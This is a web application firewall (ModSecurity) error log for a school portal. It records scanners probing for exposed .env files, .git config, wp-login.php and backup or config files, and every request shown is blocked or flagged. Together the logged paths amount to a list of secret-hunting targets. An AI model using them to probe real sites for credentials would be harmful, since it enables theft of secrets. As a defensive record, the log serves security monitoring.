[Thu Jan 22 10:28:20.809973 2026] [:error] [pid 36083:tid 36089] [client 3.25.169.176:50626] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config/.git/git/config/.env"] [unique_id "aXGLRJCng2nQoR5iqwr6zgAAAUM"]
[Thu Jan 22 10:28:20.877039 2026] [:error] [pid 52447:tid 52525] [client 3.25.169.176:50634] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aXGLRHRLA2NsdGqJzouq_AAAAJA"]
[Thu Jan 22 10:28:20.951777 2026] [:error] [pid 52447:tid 52512] [client 3.25.169.176:50646] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aXGLRHRLA2NsdGqJzouq_QAAAIM"]
[Thu Jan 22 10:28:21.022963 2026] [:error] [pid 52447:tid 52520] [client 3.25.169.176:50648] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aXGLRXRLA2NsdGqJzouq_gAAAIs"]
[Thu Jan 22 10:28:21.085325 2026] [:error] [pid 52447:tid 52509] [client 3.25.169.176:50658] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aXGLRXRLA2NsdGqJzouq_wAAAIA"]
[Thu Jan 22 10:28:21.155212 2026] [:error] [pid 52447:tid 52528] [client 3.25.169.176:50674] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "aXGLRXRLA2NsdGqJzourAAAAAJM"]
[Thu Jan 22 10:28:21.221950 2026] [:error] [pid 52556:tid 52581] [client 3.25.169.176:50682] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "aXGLReg4y1NKM4AgfjCpCgAAANc"]
[Thu Jan 22 10:28:21.291926 2026] [:error] [pid 52446:tid 52493] [client 3.25.169.176:50684] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aXGLRbJ6clMw4kdrHYGNBQAAAEs"]
[Thu Jan 22 10:28:21.357279 2026] [:error] [pid 52447:tid 52519] [client 3.25.169.176:50696] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aXGLRXRLA2NsdGqJzourAQAAAIo"]
[Thu Jan 22 10:28:21.424460 2026] [:error] [pid 52446:tid 52505] [client 3.25.169.176:50708] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aXGLRbJ6clMw4kdrHYGNBgAAAFc"]
[Thu Jan 22 10:28:21.489945 2026] [:error] [pid 52446:tid 52490] [client 3.25.169.176:50714] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aXGLRbJ6clMw4kdrHYGNBwAAAEg"]
[Thu Jan 22 10:28:21.559875 2026] [:error] [pid 52446:tid 52497] [client 3.25.169.176:50730] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aXGLRbJ6clMw4kdrHYGNCAAAAE8"]
[Thu Jan 22 10:28:21.632284 2026] [:error] [pid 52446:tid 52495] [client 3.25.169.176:50740] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "aXGLRbJ6clMw4kdrHYGNCQAAAE0"]
[Thu Jan 22 10:28:21.700672 2026] [:error] [pid 52446:tid 52491] [client 3.25.169.176:50746] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "aXGLRbJ6clMw4kdrHYGNCgAAAEk"]
[Thu Jan 22 10:28:21.763972 2026] [:error] [pid 52446:tid 52504] [client 3.25.169.176:50758] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backend/.env"] [unique_id "aXGLRbJ6clMw4kdrHYGNCwAAAFY"]
[Thu Jan 22 10:28:21.835376 2026] [:error] [pid 52446:tid 52486] [client 3.25.169.176:50770] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/frontend/.env"] [unique_id "aXGLRbJ6clMw4kdrHYGNDAAAAEQ"]
[Thu Jan 22 10:28:21.899194 2026] [:error] [pid 52446:tid 52483] [client 3.25.169.176:50774] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/server/.env"] [unique_id "aXGLRbJ6clMw4kdrHYGNDQAAAEE"]
[Thu Jan 22 10:28:21.960870 2026] [:error] [pid 52556:tid 52569] [client 3.25.169.176:50784] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/src/.env"] [unique_id "aXGLReg4y1NKM4AgfjCpCwAAAMs"]
[Thu Jan 22 10:28:22.028971 2026] [:error] [pid 52446:tid 52487] [client 3.25.169.176:50798] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env"] [unique_id "aXGLRrJ6clMw4kdrHYGNDgAAAEU"]
[Thu Jan 22 10:28:22.091900 2026] [:error] [pid 52556:tid 52571] [client 3.25.169.176:50808] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env"] [unique_id "aXGLRug4y1NKM4AgfjCpDAAAAM0"]
[Thu Jan 22 10:28:22.154972 2026] [:error] [pid 52556:tid 52558] [client 3.25.169.176:50818] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/core/.env"] [unique_id "aXGLRug4y1NKM4AgfjCpDgAAAMA"]
[Thu Jan 22 10:28:22.223392 2026] [:error] [pid 52446:tid 52500] [client 3.25.169.176:50834] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/public/.env"] [unique_id "aXGLRrJ6clMw4kdrHYGNEAAAAFI"]
[Thu Jan 22 10:28:22.286537 2026] [:error] [pid 27550:tid 27570] [client 3.25.169.176:50850] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/web/.env"] [unique_id "aXGLRuOQDPzfV5R2LYSGPwAAARI"]
[Thu Jan 22 10:28:22.354134 2026] [:error] [pid 36083:tid 36108] [client 3.25.169.176:50856] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/laravel/.env"] [unique_id "aXGLRpCng2nQoR5iqwr6zwAAAVY"]
[Thu Jan 22 10:28:22.419476 2026] [:error] [pid 52446:tid 52494] [client 3.25.169.176:50868] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/payment/.env"] [unique_id "aXGLRrJ6clMw4kdrHYGNEQAAAEw"]
[Thu Jan 22 10:28:22.485409 2026] [:error] [pid 36083:tid 36102] [client 3.25.169.176:50874] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/payments/.env"] [unique_id "aXGLRpCng2nQoR5iqwr60AAAAVA"]
[Thu Jan 22 10:28:22.556451 2026] [:error] [pid 52447:tid 52522] [client 3.25.169.176:50882] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/stripe/.env"] [unique_id "aXGLRnRLA2NsdGqJzourBwAAAI0"]
[Thu Jan 22 10:28:22.618809 2026] [:error] [pid 52446:tid 52505] [client 3.25.169.176:50896] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/mail/.env"] [unique_id "aXGLRrJ6clMw4kdrHYGNEwAAAFc"]
[Thu Jan 22 10:28:22.683592 2026] [:error] [pid 52446:tid 52490] [client 3.25.169.176:50912] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/mailer/.env"] [unique_id "aXGLRrJ6clMw4kdrHYGNFAAAAEg"]
[Thu Jan 22 10:28:22.742360 2026] [:error] [pid 52446:tid 52497] [client 3.25.169.176:50926] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid/.env"] [unique_id "aXGLRrJ6clMw4kdrHYGNFQAAAE8"]
[Thu Jan 22 10:28:22.807600 2026] [:error] [pid 52446:tid 52495] [client 3.25.169.176:50936] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/smtp/.env"] [unique_id "aXGLRrJ6clMw4kdrHYGNFgAAAE0"]
[Thu Jan 22 10:28:22.864195 2026] [:error] [pid 52446:tid 52491] [client 3.25.169.176:50948] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/service/.env"] [unique_id "aXGLRrJ6clMw4kdrHYGNFwAAAEk"]
[Thu Jan 22 10:28:22.929146 2026] [:error] [pid 36083:tid 36094] [client 3.25.169.176:50954] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/services/.env"] [unique_id "aXGLRpCng2nQoR5iqwr60QAAAUg"]
[Thu Jan 22 10:28:22.990433 2026] [:error] [pid 36083:tid 36092] [client 3.25.169.176:50962] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/portal/.env"] [unique_id "aXGLRpCng2nQoR5iqwr60gAAAUY"]
[Thu Jan 22 10:28:23.062970 2026] [:error] [pid 52447:tid 52517] [client 3.25.169.176:50974] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/dashboard/.env"] [unique_id "aXGLR3RLA2NsdGqJzourCQAAAIg"]
[Thu Jan 22 10:28:23.127560 2026] [:error] [pid 52446:tid 52488] [client 3.25.169.176:50978] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/panel/.env"] [unique_id "aXGLR7J6clMw4kdrHYGNGAAAAEY"]
[Thu Jan 22 10:28:23.191223 2026] [:error] [pid 52446:tid 52489] [client 3.25.169.176:50988] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/shop/.env"] [unique_id "aXGLR7J6clMw4kdrHYGNGQAAAEc"]
[Thu Jan 22 10:28:23.259690 2026] [:error] [pid 52445:tid 52458] [client 3.25.169.176:50996] [client 3.25.169.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/store/.env"] [unique_id "aXGLR-vMmsFgpSSb5L3E1wAAAAQ"]
[Fri Jan 23 03:37:03.725337 2026] [:error] [pid 8194:tid 8322] [client 178.62.249.181:51334] [client 178.62.249.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.249.181, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aXJ8X6Zj91bk5CCwhi2SwwAAAJg"]
[Fri Jan 23 03:37:04.738351 2026] [:error] [pid 8339:tid 8344] [client 178.62.249.181:51413] [client 178.62.249.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.249.181, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aXJ8YEqIUDfUkuA6As_1zwAAAMI"]
[Sat Jan 24 10:49:00.908827 2026] [:error] [pid 60761:tid 60773] [client 45.8.17.128:26835] [client 45.8.17.128] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.php.bak"] [unique_id "aXQzHFZQvxLvEbXXh9Lw_wAAAUk"]
[Sat Jan 24 10:49:01.984613 2026] [:error] [pid 60761:tid 60778] [client 45.8.17.60:23369] [client 45.8.17.60] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.php.bak"] [unique_id "aXQzHVZQvxLvEbXXh9LxAwAAAU4"]
[Sat Jan 24 10:49:02.682374 2026] [:error] [pid 40905:tid 40967] [client 45.8.17.105:35599] [client 45.8.17.105] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.inc"] [unique_id "aXQzHl3rUAneNkh7mXBQMAAAAIE"]
[Sat Jan 24 10:49:03.383920 2026] [:error] [pid 60761:tid 60765] [client 45.8.17.144:45465] [client 45.8.17.144] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf/config.ini"] [unique_id "aXQzH1ZQvxLvEbXXh9LxCAAAAUE"]
[Sat Jan 24 10:49:04.436755 2026] [:error] [pid 40905:tid 40975] [client 45.8.17.115:38489] [client 45.8.17.115] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.ini"] [unique_id "aXQzIF3rUAneNkh7mXBQNQAAAIk"]
[Sat Jan 24 10:49:05.153831 2026] [:error] [pid 60761:tid 60772] [client 45.8.17.107:20007] [client 45.8.17.107] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/config.ini"] [unique_id "aXQzIVZQvxLvEbXXh9LxCgAAAUg"]
[Sat Jan 24 10:49:05.844482 2026] [:error] [pid 60761:tid 60774] [client 45.8.17.140:65223] [client 45.8.17.140] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configuration.ini"] [unique_id "aXQzIVZQvxLvEbXXh9LxDAAAAUo"]
[Sat Jan 24 10:49:06.773005 2026] [:error] [pid 40903:tid 40941] [client 45.8.17.126:52913] [client 45.8.17.126] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configs/application.ini"] [unique_id "aXQzIhxw3xvyqXTcGl8MJgAAAEI"]
[Sat Jan 24 10:49:07.538033 2026] [:error] [pid 40903:tid 40951] [client 45.8.17.145:42817] [client 45.8.17.145] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/settings.ini"] [unique_id "aXQzIxxw3xvyqXTcGl8MKQAAAEw"]
[Sat Jan 24 10:49:08.230161 2026] [:error] [pid 60761:tid 60767] [client 45.8.17.140:62553] [client 45.8.17.140] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/application.ini"] [unique_id "aXQzJFZQvxLvEbXXh9LxEAAAAUM"]
[Sat Jan 24 10:49:08.936210 2026] [:error] [pid 40902:tid 40916] [client 45.8.17.115:41249] [client 45.8.17.115] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf.ini"] [unique_id "aXQzJASCceZpurDgOeteWAAAAAQ"]
[Sat Jan 24 10:49:09.626492 2026] [:error] [pid 22900:tid 22910] [client 45.8.17.126:55493] [client 45.8.17.126] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app.ini"] [unique_id "aXQzJVr6h1PpdlYV7gWJOgAAAQc"]
